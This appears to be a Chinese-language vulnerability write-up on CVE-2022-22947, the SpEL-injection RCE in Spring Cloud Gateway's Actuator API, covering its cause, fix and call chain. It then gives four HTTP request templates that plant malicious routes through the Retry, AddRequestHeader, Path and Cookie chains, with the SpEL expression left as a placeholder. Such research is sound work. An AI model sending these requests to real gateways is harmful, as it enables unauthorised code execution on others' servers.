前言
通过阅读安全公号的CVE-2022-22947分析,尝试复现过程中,探索到一些新的发现。在个人技术有限的情况下,提供一些思路,欢迎指正。
漏洞简述
该漏洞发生在基于Spring5.0+SpringBoot2.0+WebFlux的应用中,是一个远程代码执行漏洞,影响到Actuator API。
2.1 前置知识
关键类:
2.2 漏洞原理
当Spring Cloud Gateway初次启动或刷新路由时,会将路由信息解析并存储到缓存中。在解析路由参数args时,使用了SpEL解析器来解析args参数值。攻击者可以通过在Actuator API中存储自定义路由信息时,在args参数中注入恶意的SpEL表达式,然后再次调用Actuator中的刷新路由接口,从而使Spring Cloud Gateway解析并执行恶意的SpEL表达式,导致远程代码执行(RCE)。
漏洞修复
修复提交于2月9号:GitHub提交 更新了ShortcutConfigurable,使用自定义的EvaluationContext,即将StandardEvaluationContext替换为SimpleEvaluationContext以限制SpEL表达式的解析。
分析调用链
通过定位到修复的类ShortcutConfigurable,观察修改发生在getValue方法体内部。使用Idea的快捷键Ctrl + Alt + H查看调用的层次,了解经过的类和方法流转。
调用链在RouteDefinitionRouteLocator类中分离成两条链:
- 通过loadGatewayFilters方法处理GatewayFilter
- 通过lookup方法处理RoutePredicate
这也为新的链路提供了思路,猜测不仅有filters的利用链,还可能存在predicates的利用链。
构造利用链
5.1 无回显利用链
5.1.1 Filters利用链的思考
大多数利用链都是基于Filters。之前的研究表明只有AddResponseHeader过滤器可用,但是Retry过滤器也是有效的。
<code>POST /actuator/gateway/routes/123456 HTTP/1.1 Host: 127.0.0.1:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/json Content-Length: 335 { "id": "first_route", "predicates": [], "filters": [{ "name": "Retry", "args": { "name": "payload", "value": "123" } }], "uri": "https://www.uri-destination.org", "order": 0 }</code>
通过路由匹配args参数来执行RCE。将args参数中的payload替换成SpEL表达式,然后刷新路由以触发RCE。
5.1.2 Predicates利用链
通过尝试创建路由来构造Predicates利用链。
<code>POST /actuator/gateway/routes/123456 HTTP/1.1 Host: 127.0.0.1:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/json { "id": "first_route", "predicates": [{ "name": "Path", "args": {"_genkey_0":"payload"} }], "filters": [], "uri": "https://www.uri-destination.org", "order": 0 }</code>
刷新路由以触发RCE。
5.2 有回显利用链
5.2.1 Filters回显链的思考
大多数回显链也是基于Filters。之前的研究表明只有AddResponseHeader过滤器可用,但是Retry过滤器也是有效的。
<code>POST /actuator/gateway/routes/123456 HTTP/1.1 Host: 127.0.0.1:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/json Content-Length: 335 { "id": "first_route", "predicates": [], "filters": [{ "name": "AddRequestHeader", "args": { "name": "Result", "value": "payload" } }], "uri": "https://www.uri-destination.org", "order": 0 }</code>
通过路由匹配args参数来执行RCE。将args参数中的payload替换成SpEL表达式,然后刷新路由以触发RCE。
5.2.2 Predicates回显链
通过创建路由来构造Predicates回显链。
<code>POST /actuator/gateway/routes/123456 HTTP/1.1 Host: 127.0.0.1:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/json Content-Length: 380 { "id": "first_route", "predicates": [{ "name": "Cookie", "args": { "name": "payload", "regexp": "ch.p" } }], "filters": [], "uri": "https://www.uri-destination.org", "order": 0 }</code>
刷新路由以触发RCE。
总结
通过在漏洞挖掘过程中的调试和尝试,得到了一些新的发现和启发。在利用链调试过程中,官方文档也是一个很好的参考工具。
参考链接
- https://mp.weixin.qq.com/s/lKKOUvWqU1Qpexus5u_3Uw
- https://docs.spring.io/spring-cloud-gateway/docs/current/reference/html/#gateway-starter
暂无评论内容